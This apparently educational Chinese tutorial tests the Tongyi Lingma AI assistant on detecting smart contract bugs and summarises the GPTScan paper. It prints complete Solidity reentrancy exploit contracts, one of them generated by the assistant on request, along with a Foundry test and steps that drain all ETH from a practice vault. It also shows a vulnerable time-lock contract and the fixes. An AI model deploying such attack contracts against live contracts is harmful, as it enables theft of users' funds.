前言
随着区块链技术的快速发展,智能合约作为去中心化应用(DApps)的核心组件,其重要性日益凸显。然而,智能合约的安全问题一直是制约区块链技术广泛应用的关键因素之一。由于智能合约代码一旦部署就难以更改,任何设计或实现上的漏洞都可能导致严重的后果,例如资金被盗、服务中断等。
除此之外,智能合约的漏洞类型与传统软件也不同,并不存在内存安全或者任意代码执行等问题。根据已有研究,智能合约中约80%的漏洞是无法使用机器检测的(Machine Undetectable Bugs)。这些漏洞大多与业务逻辑相关,而传统的分析方法并不考虑业务逻辑,因此无法检测出这些漏洞。
常见智能合约漏洞检测
重入攻击
重入攻击的存在源于Solidity智能合约的执行机制:每一行代码必须在下一行代码开始执行之前完成。这意味着当一个合约对外部合约进行调用时,原合约的执行会暂停,直到外部调用返回。这种机制使得被调用的合约在一段时间内能够完全控制合约的状态,从而可能引发无限循环的风险。
例如,在重入攻击中,恶意合约可以在外部调用尚未完成时,递归地回调原合约,以连续提取资源。这种情况下,原合约在完成其功能之前不应更新自己的余额或其他关键状态变量。重入攻击的形式多样,包括但不限于单功能重入、跨功能重入、跨合约重入以及只读重入攻击。这些攻击方式利用了合约在执行外部调用期间的脆弱性,导致合约资金或其他资源被非法获取。
预言机操纵
智能合约依赖于预言机(oracle)来获取区块链外部的数据,从而能够与链下系统(如股票市场、汇率等)进行交互。然而,如果预言机提供的数据不准确或被恶意操纵,就可能导致智能合约错误执行,这就是所谓的“预言机问题”。这种情况已经成为了许多去中心化金融(DeFi)应用程序中的常见安全威胁,其中最常见的攻击手法之一便是闪电贷款攻击。
闪电贷款是一种特殊的无抵押贷款形式,允许借款人在同一笔交易中借入大量资金,并要求在该交易结束前偿还。由于整个过程在一个区块内完成,如果借款人未能按时偿还,则交易自动回滚,不会对区块链状态造成影响。攻击者利用闪电贷款来迅速借入大量资金,通过一系列快速交易人为扭曲资产价格,从中牟取利润,同时确保所有操作都在区块链规则允许的范围内进行。
这种攻击手法不仅影响市场的公平性,还可能导致智能合约出现非预期的行为,进而给用户带来损失。
整数溢出和下溢
整数溢出和下溢是智能合约开发中常见的安全风险之一,尤其是在进行数值运算时尤为突出。这些漏洞往往发生在数值运算的结果超过了整数类型所能表示的最大或最小值的情况下。
整数溢出 发生在当两个正整数相加的结果超出了该整数类型的上限时。例如,在以太坊智能合约常用的编程语言 Solidity 中,uint256 类型可以存储从 0 到 2^256 - 1 的无符号整数。如果两个 uint256 变量相加后超过了这个最大值,那么实际结果将从该类型的最大值回绕到零,并继续向上计数,这种现象就称为溢出。在涉及到货币或积分等价值度量的情况下,这种错误可能导致严重的后果,比如资金被盗或者合约中的资产被不当转移。
整数下溢 是指当一个较大的正整数减去一个更大的正整数时,结果将超出该类型的最小值,通常为零(对于无符号整数而言)。在 Solidity 中,uint256 类型的变量无法表示负数,因此,任何导致此类变量小于零的操作都会引发异常并终止交易。但对于有符号整数类型如 int256,则可能会出现从最小负值直接跳转到最大正值的情况,即下溢。
时间戳依赖性
时间戳依赖性是智能合约中常见的安全漏洞,尤其是在合约逻辑需要依赖于时间信息时。区块时间戳是由矿工设定的,用来表示区块创建的时间点。然而,矿工可以有一定的自由度来调整时间戳,这就会导致合约中的时间相关逻辑变得不可预测。
当智能合约依赖于区块时间戳来进行某些操作,如判断竞拍结束时间、合约到期日期或是触发特定事件时,矿工可以通过调整时间戳来影响合约的行为。例如,假设一个竞拍合约使用时间戳来确定竞拍结束的时间,矿工可以通过提前时间戳来使竞拍提前结束,或者延迟时间戳来延长竞拍期,从而影响竞拍结果。
此外,由于区块时间戳并不是一个精确的时间度量工具,它可能受到网络延迟、矿工的主观选择等因素的影响,导致合约中的时间敏感操作出现异常。例如,合约可能预期在一个确切的时间点执行某项操作,但由于时间戳的波动,实际执行时间可能会有所不同,从而导致合约状态或行为不符合预期。
利用通义灵码辅助检测及利用重入漏洞
本部分参考了南洋理工大学的论文《When GPT Meets Program Analysis: Towards Intelligent Detection of Smart Contract Logic Vulnerabilities in GPTScan》,学习借鉴了该论文中的prompt及部分规则设计。
重入漏洞的关键点之一是存在外部调用函数,就是如下所示的msg.sender.call(转账),以及转账的顺序——先更新余额还是先进行转账
首先我们利用普通状态下的通义灵码测试对智能合约代码进行漏洞检测
放入一段具有很明显重入攻击特征的代码
// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;
contract Bank {
mapping (address => uint) public balances; // 账户 => 余额
// 存钱函数
function desposit() public payable {
require(msg.value >0, "save money cannot be zero");
balances[msg.sender] += msg.value;
}
// 取钱函数
function withdraw() public{
require(balances[msg.sender] >0,"balance is not exists");
(bool success,) = msg.sender.call{
value:balances[msg.sender]}(""); // 递归下面的操作必须等待递归之后才能执行
balances[msg.sender] = 0; // 置0 操作
}
// 查看账户余额
function getBalance() public view returns(uint){
return balances[msg.sender];
}
}
contract Attack {
Bank public bank;
constructor( address _bankAddress){
bank = Bank(_bankAddress);
}
// 攻击函数
function attack() public payable {
bank.desposit{
value:msg.value}();
bank.withdraw();
}
receive() external payable {
if(address(bank).balance >0){
//如果银行合约还有钱持续调用
bank.withdraw();
}
}
}
这段代码包含两个合约:Bank 和 Attack。Bank 合约允许用户存入和提取以太币,并能够查询账户余额。Attack 合约则用于与 Bank 合约交互,通过存款和提取操作实现资金的转移。
依然像前两篇文章那样,全选代码告知,让灵码进行漏洞检测
已知该部分代码存在漏洞,请帮忙进行检测
此时可以发现,灵码能够识别出基本的重入攻击,并且进行了基础的拼写检查、冗余检查、潜在的安全风险检查
可以看到灵码提出了一种修复方式:
函数的执行会消耗gas,如果可支付gas不满足递归消耗的gas,从而报错进行合约状态回滚。在灵码中给出的 transfer 或 send 方法 都是可以有效防止重入的
transfer():发送失败则回滚交易状态,只传递 2300 Gas 供调用,防止重入。
send():发送失败则返回 false,只传递 2300 Gas 供调用,防止重入。
call():发送失败返回 false,会传递所有可用 Gas 给予外部合约 fallback() 调用;可通过 { value: money } 限制 Gas,不能有效防止重入。
但是显然,对照人工审计结果,除了上述之外,还有更好的方式来进一步强化这段代码的安全性,所以,为了验证灵码是否具备针对重入漏洞的高级优化能力,我没有告知而是直接让其进行优化操作:
我想进一步提高该部分代码的安全性,请你帮忙进行优化
不负众望,灵码确实也是给出了另一种比较好的解决方法:
先账户置0,就算转账触发递归,再次取钱 ,由于账户余额小于0,会直接抛异常。(当攻击这利用Attack合约攻击已修复好Bank合约,按道理能触发递归,接着会报 "balance is not exists",但是他却能正常执行,但是重入没触发,钱存到Bank里,没有拿回来。)
除了上述两种,还可以通过添加互斥锁来实现,第一去取钱,状态变量修改为true,从而将函数锁住,必须等这次函数执行完毕,才能重新对函数进行调用,这块虽然灵码暂时没有提到,但是后面在我引导下还是成功指出了这种方法
总的来说,效果还是很不错的,下面我们以实际的靶场为例,尝试采用通义灵码来检测和利用重入漏洞
靶场描述如下:
EtherStore 的重入漏洞是指智能合约设计中的一个缺陷,该缺陷允许攻击者利用重入特性从 EtherStore 合约中提取比他们有权获得的更多的资金。此漏洞源于 EtherStore 合约中的 withdrawFunds 函数,在更新账户余额之前会先将以太币转移到攻击者的地址。这使得攻击者的合约可以在余额更新之前回调 withdrawFunds 函数,导致多次提款,并有可能耗尽 EtherStore 合约中的所有以太币。
EtherStore 是一个简单的金库,它可以管理每个人的以太币。但它存在漏洞,你能窃取所有的以太币吗?
给出的EtherStore部分代码如下:
contract EtherStore {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds(uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
(bool send, ) = msg.sender.call{
value: _weiToWithdraw}("");
require(send, "send failed");
// check if after send still enough to avoid underflow
if (balances[msg.sender] >= _weiToWithdraw) {
balances[msg.sender] -= _weiToWithdraw;
}
}
}
结合我上面的示例代码,相信可以显而易见的看出此处就是存在重入漏洞的,我们让灵码帮忙给出一个攻击合约和一个测试合约,其中攻击合约能够使用msg.sender.call{value: _weiToWithdraw}("")来进行多次转入;测试合约能够验证攻击是否成功。
已知EtherStore合约如下,请你给出EtherStoreAttack攻击合约,帮助有效验证EtherStore合约中的漏洞。
给出的完整攻击合约如下:
pragma solidity ^0.8.0;
interface IEtherStore {
function deposit() external payable;
function withdrawFunds(uint256 _weiToWithdraw) external;
}
contract EtherStoreAttack {
IEtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = IEtherStore(_etherStoreAddress);
}
// Fallback function is called when EtherStore sends Ether to this contract
receive() external payable {
if (address(etherStore).balance >= 1 ether) {
// Re-enter the withdrawFunds function
etherStore.withdrawFunds(1 ether);
}
}
// Function to deposit funds into EtherStore
function attack() external payable {
require(msg.value >= 1 ether, "Need at least 1 ether to attack");
etherStore.deposit{
value: msg.value}();
etherStore.withdrawFunds(1 ether);
}
// Helper function to withdraw all Ether from this contract
function withdrawAll() external {
selfdestruct(payable(msg.sender));
}
// Helper function to check the balance of this contract
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
我们对比原版给出的攻击合约,发现还是有一些差异的,原版中增加了很多详细的日志输出,比较友好:
下面进入到remix中进行编译并尝试分析攻击步骤,大致步骤如下:
攻击者将以太币存入银行合约
银行合约就会根据存入的以太币而更新攻击者的余额
攻击者提现,拿回资金
资金转移到攻击者的合约上
此时攻击者的回调函数(fallback或者receive)被触发,函数调用提现方法
智能合约的逻辑里提现方法又被调用
资金发送到攻击者
第5-7步不断重复,不会触发更新用户余额,直到触发gas限制或银行合约里的ETH余额为0
最后才更新余额
尝试复现,一开始,假设合约原本有50个ETH
根据刚才的攻击合约,调用deposit转入1ETH,攻击合约有1ETH
调用attack,设置这个gas为超大,使其能够尽可能的发起最多次的重入。ETH全部被攻击者重入获取
实际上共消耗了这么多的gas fee 483672+467408
调用attack.withdraw,将ETH转到攻击者的钱包中,攻击者的钱包余额增加。
这里我们还是回到foundary中来测试漏洞,验证脚本还是采用的官方的sol文件:
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
contract EtherStore {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds(uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
(bool send, ) = msg.sender.call{
value: _weiToWithdraw}("");
require(send, "send failed");
// check if after send still enough to avoid underflow
if (balances[msg.sender] >= _weiToWithdraw) {
balances[msg.sender] -= _weiToWithdraw;
}
}
}
contract EtherStoreRemediated {
mapping(address => uint256) public balances;
bool internal locked;
modifier nonReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds(uint256 _weiToWithdraw) public nonReentrant {
require(balances[msg.sender] >= _weiToWithdraw);
balances[msg.sender] -= _weiToWithdraw;
(bool send, ) = msg.sender.call{
value: _weiToWithdraw}("");
require(send, "send failed");
}
}
contract ContractTest is Test {
EtherStore store;
EtherStoreRemediated storeRemediated;
EtherStoreAttack attack;
EtherStoreAttack attackRemediated;
function setUp() public {
store = new EtherStore();
storeRemediated = new EtherStoreRemediated();
attack = new EtherStoreAttack(address(store));
attackRemediated = new EtherStoreAttack(address(storeRemediated));
vm.deal(address(store), 5 ether);
vm.deal(address(storeRemediated), 5 ether);
vm.deal(address(attack), 2 ether);
vm.deal(address(attackRemediated), 2 ether);
}
function testReentrancy() public {
attack.Attack();
}
function testFailRemediated() public {
attackRemediated.Attack();
}
}
contract EtherStoreAttack is Test {
EtherStore store;
constructor(address _store) {
store = EtherStore(_store);
}
function Attack() public {
console.log("EtherStore balance", address(store).balance);
store.deposit{
value: 1 ether}();
console.log(
"Deposited 1 Ether, EtherStore balance",
address(store).balance
);
store.withdrawFunds(1 ether); // exploit here
console.log("Attack contract balance", address(this).balance);
console.log("EtherStore balance", address(store).balance);
}
// fallback() external payable {}
// we want to use fallback function to exploit reentrancy
receive() external payable {
console.log("Attack contract balance", address(this).balance);
console.log("EtherStore balance", address(store).balance);
if (address(store).balance >= 1 ether) {
store.withdrawFunds(1 ether); // exploit here
}
}
}
具体解析如下:
EtherStore 合约
contract EtherStore {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds(uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
(bool send, ) = msg.sender.call{
value: _weiToWithdraw}("");
require(send, "send failed");
// check if after send still enough to avoid underflow
if (balances[msg.sender] >= _weiToWithdraw) {
balances[msg.sender] -= _weiToWithdraw;
}
}
}
balances:一个映射,存储每个地址的余额。
deposit:允许用户存入以太币,增加其余额。
withdrawFunds:允许用户提取以太币。问题在于,转账操作在更新余额之前执行,这使得攻击者可以通过回调函数(如 receive)重新进入 withdrawFunds 方法,从而多次提取资金。
EtherStoreRemediated 合约
contract EtherStoreRemediated {
mapping(address => uint256) public balances;
bool internal locked;
modifier nonReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds(uint256 _weiToWithdraw) public nonReentrant {
require(balances[msg.sender] >= _weiToWithdraw);
balances[msg.sender] -= _weiToWithdraw;
(bool send, ) = msg.sender.call{
value: _weiToWithdraw}("");
require(send, "send failed");
}
}
balances:一个映射,存储每个地址的余额。
locked:一个布尔变量,用于防止重入攻击。
nonReentrant:一个修饰器,确保函数在执行期间不会被重入。
deposit:允许用户存入以太币,增加其余额。
withdrawFunds:允许用户提取以太币。使用 nonReentrant 修饰器确保在转账操作前更新余额,防止重入攻击。
ContractTest 测试合约
contract ContractTest is Test {
EtherStore store;
EtherStoreRemediated storeRemediated;
EtherStoreAttack attack;
EtherStoreAttack attackRemediated;
function setUp() public {
store = new EtherStore();
storeRemediated = new EtherStoreRemediated();
attack = new EtherStoreAttack(address(store));
attackRemediated = new EtherStoreAttack(address(storeRemediated));
vm.deal(address(store), 5 ether);
vm.deal(address(storeRemediated), 5 ether);
vm.deal(address(attack), 2 ether);
vm.deal(address(attackRemediated), 2 ether);
}
function testReentrancy() public {
attack.Attack();
}
function testFailRemediated() public {
attackRemediated.Attack();
}
}
setUp:初始化合约实例,并给它们分配一些以太币。
testReentrancy:调用攻击合约的 Attack 方法,验证 EtherStore 合约是否容易受到重入攻击。
testFailRemediated:调用攻击合约的 Attack 方法,验证 EtherStoreRemediated 合约是否能够防止重入攻击。
EtherStoreAttack 攻击合约
contract EtherStoreAttack is Test {
EtherStore store;
constructor(address _store) {
store = EtherStore(_store);
}
function Attack() public {
console.log("EtherStore balance", address(store).balance);
store.deposit{
value: 1 ether}();
console.log(
"Deposited 1 Ether, EtherStore balance",
address(store).balance
);
store.withdrawFunds(1 ether); // exploit here
console.log("Attack contract balance", address(this).balance);
console.log("EtherStore balance", address(store).balance);
}
// fallback() external payable {}
// we want to use fallback function to exploit reentrancy
receive() external payable {
console.log("Attack contract balance", address(this).balance);
console.log("EtherStore balance", address(store).balance);
if (address(store).balance >= 1 ether) {
store.withdrawFunds(1 ether); // exploit here
}
}
}
store:存储 EtherStore 合约的地址。
Attack:攻击函数,首先存入 1 以太币,然后调用 withdrawFunds 方法进行重入攻击。
receive:回调函数,当 EtherStore 合约向攻击合约发送以太币时触发。如果 EtherStore 合约的余额大于等于 1 以太币,再次调用 withdrawFunds 方法进行重入攻击。
利用通义灵码辅助检测溢出漏洞
溢出漏洞是每个在接触合约安全最先接触到的漏洞,没有之一,同时也是最简单的漏洞。溢出分为上溢和下溢,并且该漏洞在solidity8.0引入了检查,基本消失,为什么是基本消失呢?因为还有极少场景还是能溢出,后面的漏洞会提到。
该漏洞的溢出问题是:存在用户可自定义增加锁仓时间可让时间进行溢出,使其能够提前取出存放的ETH。
我们提供一段代码给灵码进行漏洞检测:
pragma solidity ^0.8.18;
/**
* @title TimeLock
* @dev 这是一个时间锁合约,用于锁定用户的 ETH 并在指定时间后解锁。
*/
contract TimeLock {
// 存储每个地址的余额
mapping(address => uint) public balances;
// 存储每个地址的锁定期限
mapping(address => uint) public lockTime;
/**
* @dev 存款函数,接受 ETH 并锁定 1 周。
*/
function deposit() external payable {
require(msg.value > 0, "Deposit value must be greater than 0");
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks; // 锁定时间为当前区块时间加上 1 周
}
/**
* @dev 允许用户增加自己的锁定期限。
* @param _secondsToIncrease 要增加的秒数。
* @dev 注意:此函数存在潜在的安全风险,因为用户可以无限增加锁定期限。
*/
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease; // 增加锁定期限
}
/**
* @dev 取款函数,允许用户在锁定期限过后提取 ETH。
*/
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds"); // 检查余额是否大于 0
require(block.timestamp > lockTime[msg.sender], "Lock time not expired"); // 检查锁定期限是否已过
uint amount = balances[msg.sender]; // 获取用户的余额
balances[msg.sender] = 0; // 将余额设置为 0,表示钱已取出
(bool sent, ) = msg.sender.call{
value: amount}(""); // 使用 call 方法发送 ETH
require(sent, "Failed to send Ether"); // 确保 ETH 发送成功
}
}
给出prompt:
已知该部分代码存在漏洞,请帮忙进行检测
可以看到,对于关键函数漏洞的识别还是很准确的,下面我们回到论文中去尝试解读一下它的总体逻辑,看看有没有办法将这套逻辑沿用到灵码上
论文部分
论文地址为:https://arxiv.org/pdf/2308.03314
在论文中,有提到类似于价格操纵的漏洞:
在上面这个例子中,从代码层面来看其实是不存在漏洞的,但是在业务逻辑层面却存在一些漏洞点:第18-21行的get Price()函数使用余额的比例来计算价格,但金额很可能是容易被操纵的(例如flashloan),从而价格也很容易被操纵
那么未经调教的灵码能否识别到这个呢?我们来尝试一下
通过上述可以看到,灵码能够较好的识别到隐藏的逻辑漏洞,并且给出一些修复建议,毕竟距离这篇论文撰写完成时间已经过去了一年多了,这期间大模型的进步还是太快了
进行了一些基础的测试和分析后,下面我们还是回到论文中去看看他们提出的工作流
上图主要表明了GPTScan的高级工作流,蓝色块表示大模型提供的能力,绿色块表示静态分析。当给定一个智能合约项目,它可以是一个独立的Solidity文件或包含多个Solidity文件的基于框架的合约项目,GPTScan首先进行合约解析,调用图分析确定函数可达性,综合过滤提取候选函数及其对应的上下文函数。然后利用GPT将候选函数与预先抽象的场景和相关漏洞类型的属性进行匹配。对于匹配的函数,GPTScan通过GPT进一步识别其关键变量和语句,随后将其传递给专门的静态分析模块以确认漏洞。
GPTScan采用了一种不同的方法,将漏洞类型分解为代码级的场景和属性。具体地,它使用场景描述逻辑漏洞可能发生的代码功能,使用属性来解释易受攻击的代码属性或操作。上图展示了如何将10种常见的逻辑漏洞类型分解为场景和属性。这些漏洞类型是从最近的一项研究中选择的关于需要高级语义oracle的智能合约漏洞。
这里是一个比较关键的prompt模板,主要内容是:
系统:你是一个智能合约审计员。你会被问到与代码属性相关的问题。你可以在后台模拟回答五次,然后给我提供出现频率最高的答案。此外,请严格遵守问题中指定的输出格式,无需解释你的答案。
情景匹配:根据下面的智能合约代码,回答下面的问题,并以JSON格式组织结果,如
{"1":"是"或"否","2":"是"或者"否"}
"1":[%场景_1%]?
"2":[%场景_2%]?
[%代码%]属性匹配:下列智能合约是否"[%场景,属性(漏洞成因)%]"?仅回答"是"或"否"
[%代码%]
此处也有几个关键点需要注意:
通过prompt的设计,多获得结构化的输出
匹配scenario时,使用多项选择来快速匹配多个可能的选项
匹配property时,每个单独匹配,来减少其他选项带来的干扰
第二个关键的prompt模板如下:
这边主要是通过prompt的设计,获得结构化的输出,针对每一项输出的描述,查找对应的变量/表达式
总结
通过本次测试来看,利用灵码技术在智能合约漏洞检测方面确实能够发挥一些作用。对比论文中采用GPT3.5制作的GPTScan工具,实验结果表明,在使用灵码的前提下,即便没有增加对应的前置提示(prompt),系统也能够成功识别到隐藏的逻辑漏洞,而且这种检测方法可能具有更高的准确率和更低的误报率,因为它直接针对代码的行为模式进行分析。
而结合靶场看,利用灵码进行攻击合约或者说EXP编写时,还是有很多不足之处,在生成具体的攻击向量时,其有效性和效率可能会受到限制,再加上对于漏洞的具体机制无法准确理解,所以才导致了最终利用脚本存在缺陷。